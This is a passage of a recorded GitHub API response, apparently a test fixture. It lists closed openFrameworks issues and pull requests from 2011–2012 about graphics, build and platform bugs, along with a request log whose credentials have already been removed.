drawing","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":"2012-05-28T14:59:16Z","created_at":"2011-09-20T05:18:04Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1685124,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-10-17T23:35:56Z","body":"these should be non-controversial solutions for some serious problems, closing 3 issues.\r\n\r\ni do have a three ideas that might be more controversial:\r\n\r\n1 remove background-auto-color setting from ofBackground. this means that the historical ofBackground would be completely divided into ofBackground and ofSetBackgroundColor. it also breaks usage of ofBackground in setup, which i think is a bad pattern anyway.\r\n\r\n2 remove ofClear, which is confusing and causes issues like https://github.com/openframeworks/openFrameworks/issues/264 if ofBackground and ofSetBackgroundColor are separated as suggested above, ofClear becomes redundant.\r\n\r\n3 this might sound ridiculous, but hear me out: let's move ofSetBackgroundAuto() to main.cpp. right now there are serious problems with ofSetBackgroundAuto(false), see https://github.com/openframeworks/openFrameworks/issues/368#issuecomment-2135179 i'm pretty sure the only way to get a consistently non-flickering accumulation buffer is to use a single buffer. (unless there's some trick where you blit from the back to front instead of swapping them). and to have a single buffer setup, we need to do that from main.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/750","comments":6,"milestone":null,"number":750,"html_url":"https://github.com/openframeworks/openFrameworks/issues/750","assignee":null,"title":"fixed some bugs surrounding background setting","labels":[],"closed_at":"2011-10-17T23:18:51Z","created_at":"2011-09-19T16:11:12Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1679683,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/750.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/750","diff_url":"https://github.com/openframeworks/openFrameworks/pull/750.diff"}},{"updated_at":"2012-04-22T17:27:01Z","body":"very curious to know why this is commented out:\r\n\r\n//operator overloading for float\r\n//\r\n//\r\n//inline void ofVec3f::operator=( const float f){\r\n//\tx = f;\r\n//\ty = f;\r\n//\tz = f;\r\n//}\r\n\r\npre 007 behavior was:\r\n\r\nmyPoint = 0.0; would set x y and z to 0.0. \r\nnow myPoint = 0.0; only sets x. \r\n\r\nthis can create some really bad bugs for people expecting ofPoint to work as it used to. \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/749","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":749,"html_url":"https://github.com/openframeworks/openFrameworks/issues/749","assignee":null,"title":"ofPoint / ofVec3f missing = operator for float ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2012-04-22T17:27:01Z","created_at":"2011-09-17T10:14:04Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1668455,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T16:52:28Z","body":"Linker setting needs libcomdlg32.a for all CB projects.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/747","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":70,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":747,"html_url":"https://github.com/openframeworks/openFrameworks/issues/747","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"title":"bug in CB 007 project - missing libcomdlg32.a for dialog boxes / load save dialogs","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2012-04-09T16:52:28Z","created_at":"2011-09-16T17:41:15Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1664249,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-09-15T14:41:11Z","body":"this bug stems from a misunderstanding of ofVbo that could have been averted if ofVbo reported a warning when you try to update with more data than you've allocated: http://forum.openframeworks.cc/index.php/topic,7313.0/","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/746","comments":4,"milestone":null,"number":746,"html_url":"https://github.com/openframeworks/openFrameworks/issues/746","assignee":null,"title":"ofVbo::update*Data should warn when updating too much data","labels":[],"closed_at":"2011-09-15T14:41:11Z","created_at":"2011-09-15T13:18:30Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1652792,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-11-16T17:05:58Z","body":"It was not compiling the examples because of this missing lib.\r\n\r\nThis happened on Fedora 15.\r\nBTW, I also needed to install the jack library, maybe we should add it to the install_dependencies.sh, I can do it if you agree.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/742","comments":9,"milestone":null,"number":742,"html_url":"https://github.com/openframeworks/openFrameworks/issues/742","assignee":null,"title":"linux: Add zlib to the system libs in the template's makefile","labels":[],"closed_at":"2011-11-16T17:05:43Z","created_at":"2011-09-13T13:38:02Z","state":"closed","user":{"url":"https://api.github.com/users/joaquimrocha","gravatar_id":"a0a1e3a9ca85502ca53f11819d236764","login":"joaquimrocha","avatar_url":"https://secure.gravatar.com/avatar/a0a1e3a9ca85502ca53f11819d236764?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1029635},"id":1633135,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/742.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/742","diff_url":"https://github.com/openframeworks/openFrameworks/pull/742.diff"}},{"updated_at":"2011-09-13T11:40:28Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/741","comments":1,"milestone":null,"number":741,"html_url":"https://github.com/openframeworks/openFrameworks/issues/741","assignee":null,"title":"fix fmod syntax error","labels":[],"closed_at":"2011-09-13T11:40:09Z","created_at":"2011-09-13T11:25:13Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1632366,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/741.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/741","diff_url":"https://github.com/openframeworks/openFrameworks/pull/741.diff"}},{"updated_at":"2011-09-13T11:05:05Z","body":"sorry, last pull request was into master instead of develop","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/740","comments":1,"milestone":null,"number":740,"html_url":"https://github.com/openframeworks/openFrameworks/issues/740","assignee":null,"title":"fixes for ofColor static types and ofColor::operator<<","labels":[],"closed_at":"2011-09-13T11:04:53Z","created_at":"2011-09-13T10:53:31Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1632201,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/740.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/740","diff_url":"https://github.com/openframeworks/openFrameworks/pull/740.diff"}},{"updated_at":"2011-09-13T10:53:48Z","body":"some bugs i noticed","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/739","comments":0,"milestone":null,"number":739,"html_url":"https://github.com/openframeworks/openFrameworks/issues/739","assignee":null,"title":"fixes for ofColor static types and ofColor::operator<<","labels":[],"closed_at":"2011-09-13T10:53:48Z","created_at":"2011-09-13T10:51:55Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1632191,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/739.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/739","diff_url":"https://github.com/openframeworks/openFrameworks/pull/739.diff"}},{"updated_at":"2011-09-11T11:20:34Z","body":"Hi All\r\n\r\nAFAIK I need to create OpenGL pixel shader to have a OpenGL phong preview.\r\nI'm familiar with phong render but never did it in OpenGL. My task is quite standard - I need just a lighting with surface normal interpolated for every pixel. Is there a standard pixel shader(s) (or other ways to do this) that could be used?\r\n\r\nThanks\r\nTom","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/737","comments":1,"milestone":null,"number":737,"html_url":"https://github.com/openframeworks/openFrameworks/issues/737","assignee":null,"title":"OpenGL pixel shader (Phong)","labels":[],"closed_at":"2011-09-11T11:20:34Z","created_at":"2011-09-11T11:16:46Z","state":"closed","user":{"url":"https://api.github.com/users/Tommato","gravatar_id":"95bbfbd39116dffe06be4d816f322bf0","login":"Tommato","avatar_url":"https://secure.gravatar.com/avatar/95bbfbd39116dffe06be4d816f322bf0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1027082},"id":1617725,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-09-11T11:20:54Z","body":"Hi All\r\n\r\nI'm reading about VAO but up to now don't understand too much ;)\r\nExample: I've an old OpenGL code draws via glDrawElements and glSetVertexPointer, glSetNormalPointer etc. Should I replace it with VAO and will it be faster/better?\r\n\r\nThanks\r\nTom","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/736","comments":0,"milestone":null,"number":736,"html_url":"https://github.com/openframeworks/openFrameworks/issues/736","assignee":null,"title":"OpenGL - Using VAO","labels":[],"closed_at":"2011-09-11T11:20:54Z","created_at":"2011-09-11T11:14:41Z","state":"closed","user":{"url":"https://api.github.com/users/Tommato","gravatar_id":"95bbfbd39116dffe06be4d816f322bf0","login":"Tommato","avatar_url":"https://secure.gravatar.com/avatar/95bbfbd39116dffe06be4d816f322bf0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1027082},"id":1617717,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-09-11T11:21:04Z","body":"Hi All\r\n\r\nI've rebuilding an old app written more 10 years ago by other programmer. In code I see:\r\n\r\n- if there is no texture, so do draw via glDrawElements and glSetVertexPointer, glSetNormalPointer etc\r\n\r\n- otherwise (if there is a texture), do a simplest draw with glBegin, glVertex3f, glEnd. The UV coordinates are calculated based on map type (spherical etc), the texture's seams are processed by hands (temporary extra polygons are created).\r\n\r\nSo my question is: how can I use (faster) glDrawElements with texture as well? Is there a way to crete UVs via OpenGL (and to process seams properly) now?\r\n\r\nThanks\r\nTom","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/735","comments":0,"milestone":null,"number":735,"html_url":"https://github.com/openframeworks/openFrameworks/issues/735","assignee":null,"title":"Open GL - Texture Seams","labels":[],"closed_at":"2011-09-11T11:21:04Z","created_at":"2011-09-11T11:11:15Z","state":"closed","user":{"url":"https://api.github.com/users/Tommato","gravatar_id":"95bbfbd39116dffe06be4d816f322bf0","login":"Tommato","avatar_url":"https://secure.gravatar.com/avatar/95bbfbd39116dffe06be4d816f322bf0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1027082},"id":1617665,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-09-11T11:23:54Z","body":"discussed here\r\nhttp://forum.openframeworks.cc/index.php/topic,7297","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/734","comments":2,"milestone":null,"number":734,"html_url":"https://github.com/openframeworks/openFrameworks/issues/734","assignee":null,"title":"kyle's suggestion of dealing with ofDataPath","labels":[],"closed_at":"2011-09-11T11:23:43Z","created_at":"2011-09-11T10:04:17Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1617397,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/734.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/734","diff_url":"https://github.com/openframeworks/openFrameworks/pull/734.diff"}},{"updated_at":"2012-05-16T11:42:53Z","body":"Trying to compile an OF app against fca449d348cf33803609a837311fa07450706750 on Lion, I get an error message \"RtAudio.h File cannot be found\". Looking at the openFrameworksLib.xcodeproj settings, HEADER_RTAUDIO is set to \"../../../../libs/rtaudio/include\". Setting it to \"../../../../libs/rtAudio/include\" fixes the problem.\r\n\r\nI suspect that this was missed in other peoples' tests because they were running with the stock non-case-sensitive HFS filesystem. I'm using the case-sensitive version.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/733","comments":1,"milestone":null,"number":733,"html_url":"https://github.com/openframeworks/openFrameworks/issues/733","assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"title":"RtAudio.h cannot be found on Mac with HFS case-sensitive file system","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"closed_at":"2012-05-16T11:42:53Z","created_at":"2011-09-09T22:15:08Z","state":"closed","user":{"url":"https://api.github.com/users/heisters","gravatar_id":"320244a88881285d92475b3b0011b042","login":"heisters","avatar_url":"https://secure.gravatar.com/avatar/320244a88881285d92475b3b0011b042?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":72790},"id":1611853,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-12-05T16:59:00Z","body":"Most of the time, no cam is selected when the program start (no green led).\r\n\r\nUsing videoGrabber.videoSettings() makes the green led light up (video seems ok in the settings pane), but no data seems to be grabbed by the openFrameworks application (pixels are black).\r\n\r\nThe movieGrabberExample does not work and can be used to test the problem.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/732","comments":3,"milestone":null,"number":732,"html_url":"https://github.com/openframeworks/openFrameworks/issues/732","assignee":null,"title":"osx lion + of 007 ofVideoGrabber does not grab","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":"2011-12-05T16:59:00Z","created_at":"2011-09-09T16:54:44Z","state":"closed","user":{"url":"https://api.github.com/users/labe-me","gravatar_id":"ecca3b1bb8135dec28204aa085c56627","login":"labe-me","avatar_url":"https://secure.gravatar.com/avatar/ecca3b1bb8135dec28204aa085c56627?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":428594},"id":1609385,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2011-12-03T23:38:42Z","body":"When ofSetBackgroundAuto(false) is executed and ofPushStyle() is used strange things happens to ofFbos.\r\n\r\nHere's a testApp to illustrate the problem:\r\n\r\n```c++\r\n#include \"testApp.h\"\r\n\r\n// Test background auto + ofFbo + pushStyle bug.\r\n//\r\n// When background auto is disabled, any call to ofPushStyle/ofPopStyle will break the fbo.\r\n//\r\n// Expected: green screen whatever these bool values\r\n// Actual: black background, fbo does not appear\r\n//\r\nbool useBackgroundAuto = false;\r\nbool useStyleContext = true;\r\n\r\nofFbo buffer;\r\n\r\nvoid testApp::setup(){\r\n ofSetFrameRate(60);\r\n ofSetBackgroundAuto(useBackgroundAuto);\r\n ofBackground(0);\r\n\r\n buffer.allocate();\r\n\r\n // fill the buffer with green\r\n buffer.begin();\r\n if (useStyleContext) ofPushStyle();\r\n ofSetColor(255, 0, 0);\r\n ofFill();\r\n ofRect(0,0,ofGetWidth(),ofGetHeight());\r\n if (useStyleContext) ofPopStyle();\r\n buffer.end();\r\n}\r\n\r\nvoid testApp::update(){\r\n}\r\n\r\nvoid testApp::draw(){\r\n if (useStyleContext) ofPushStyle();\r\n ofSetColor(255,255,255); // set buffer brightness to maximum\r\n buffer.draw(0,0);\r\n if (useStyleContext) ofPopStyle();\r\n}\r\n\r\nvoid testApp::keyPressed(int key){\r\n}\r\n\r\nvoid testApp::keyReleased(int key){\r\n}\r\n\r\nvoid testApp::mouseMoved(int x, int y ){\r\n}\r\n\r\nvoid testApp::mouseDragged(int x, int y, int button){\r\n}\r\n\r\nvoid testApp::mousePressed(int x, int y, int button){\r\n}\r\n\r\nvoid testApp::mouseReleased(int x, int y, int button){\r\n}\r\n\r\nvoid testApp::windowResized(int w, int h){\r\n}\r\n\r\nvoid testApp::gotMessage(ofMessage msg){\r\n}\r\n\r\nvoid testApp::dragEvent(ofDragInfo dragInfo){\r\n}\r\n```","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/731","comments":5,"milestone":null,"number":731,"html_url":"https://github.com/openframeworks/openFrameworks/issues/731","assignee":null,"title":"ofSetBackgroundAuto(false) + ofFbo + ofPushStyle() = fbo.draw() do not work","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2011-12-03T23:38:42Z","created_at":"2011-09-07T12:56:23Z","state":"closed","user":{"url":"https://api.github.com/users/labe-me","gravatar_id":"ecca3b1bb8135dec28204aa085c56627","login":"labe-me","avatar_url":"https://secure.gravatar.com/avatar/ecca3b1bb8135dec28204aa085c56627?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":428594},"id":1589067,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=16&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4980'), ('content-length', '31592'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"4b60fb64c94220278e0acfd277109471"'), ('date', 'Tue, 29 May 2012 18:46:36 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-09-13T13:38:45Z","body":"It was not compiling the examples because of this missing lib.\r\n\r\nThis happened on Fedora 15.\r\nBTW, I also needed to install the jack library, maybe we should add it to the install_dependencies.sh, I can do it if you agree.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/729","comments":1,"milestone":null,"number":729,"html_url":"https://github.com/openframeworks/openFrameworks/issues/729","assignee":null,"title":"linux: Add zlib to the system libs in the template's makefile","labels":[],"closed_at":"2011-09-13T13:38:09Z","created_at":"2011-09-06T17:33:53Z","state":"closed","user":{"url":"https://api.github.com/users/joaquimrocha","gravatar_id":"a0a1e3a9ca85502ca53f11819d236764","login":"joaquimrocha","avatar_url":"https://secure.gravatar.com/avatar/a0a1e3a9ca85502ca53f11819d236764?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1029635},"id":1581423,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/729.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/729","diff_url":"https://github.com/openframeworks/openFrameworks/pull/729.diff"}},{"updated_at":"2012-02-21T08:46:14Z","body":"added ofDrawGrid to complement ofDrawAxis. added 'get' accessors to ofCamera's internal properties, made ofCamera's internal properties protected rather than private","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/726","comments":8,"milestone":null,"number":726,"html_url":"https://github.com/openframeworks/openFrameworks/issues/726","assignee":null,"title":"added ofDrawGrid to complement ofDrawAxis. added 'get' accessors to ofCam","labels":[],"closed_at":"2012-02-09T15:37:33Z","created_at":"2011-09-03T11:12:49Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1557628,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/726.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/726","diff_url":"https://github.com/openframeworks/openFrameworks/pull/726.diff"}},{"updated_at":"2011-09-03T10:58:55Z","body":"added ofDrawGrid to complement ofDrawAxis. added 'get' accessors to ofCamera's internal properties, made ofCamera's internal properties protected rather than private","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/725","comments":0,"milestone":null,"number":725,"html_url":"https://github.com/openframeworks/openFrameworks/issues/725","assignee":null,"title":"minor inclusions for 3d","labels":[],"closed_at":"2011-09-03T10:58:55Z","created_at":"2011-09-03T09:53:05Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1557458,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/725.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/725","diff_url":"https://github.com/openframeworks/openFrameworks/pull/725.diff"}},{"updated_at":"2011-12-03T22:52:02Z","body":"I know it has been addressed before,\r\nbut came up again.\r\n\r\nA simple issue with VS2010 character bug.\r\n\r\nOn \r\n/libs/quictime/includes/icon.h\r\n/libs/quictime/includes/ConditionalMacros.h\r\n/libs/quictime/includes/Endian.h\r\netc.\r\n\r\nCould you please replace appropriate files?\r\nThanks in advance.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/724","comments":2,"milestone":null,"number":724,"html_url":"https://github.com/openframeworks/openFrameworks/issues/724","assignee":null,"title":"Quicktime character issue on non-english Windows VS2010","labels":[],"closed_at":"2011-12-03T22:52:02Z","created_at":"2011-08-31T16:49:40Z","state":"closed","user":{"url":"https://api.github.com/users/mailiam","gravatar_id":"191d48da5061ccc21e391e633a1978c3","login":"mailiam","avatar_url":"https://secure.gravatar.com/avatar/191d48da5061ccc21e391e633a1978c3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":955322},"id":1533791,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-05-17T15:01:04Z","body":"Is anyone else getting a crash when running the assimpExample on an iOS device?\r\n\r\nIt works fine in the simulator, but on the device I get a **Thread 1: Program received signal \"EXC_BAD_ACCESS\"**\r\n\r\non line 63 in **aiVector3D.h**\r\n\r\nLine 63 says:\r\n\r\n```aiVector3D () : x(0.0f), y(0.0f), z(0.0f) {}```\r\n\r\nWhich seems like an odd place for it to crash.\r\n\r\n```\r\n60: struct aiVector3D\r\n61: {\r\n62: #ifdef __cplusplus\r\n63: \t aiVector3D () : x(0.0f), y(0.0f), z(0.0f) {}\r\n64: \t aiVector3D (float _x, float _y, float _z) : x(_x), y(_y), z(_z) {}\r\n65: \t aiVector3D (float _xyz) : x(_xyz), y(_xyz), z(_xyz) {}\r\n66: \t aiVector3D (const aiVector3D& o) : x(o.x), y(o.y), z(o.z) {}\r\n```\r\n\r\nI've tried a 3GS and an iPad2.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/723","comments":17,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":70,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":723,"html_url":"https://github.com/openframeworks/openFrameworks/issues/723","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"assimp / assimpeExample on iOS 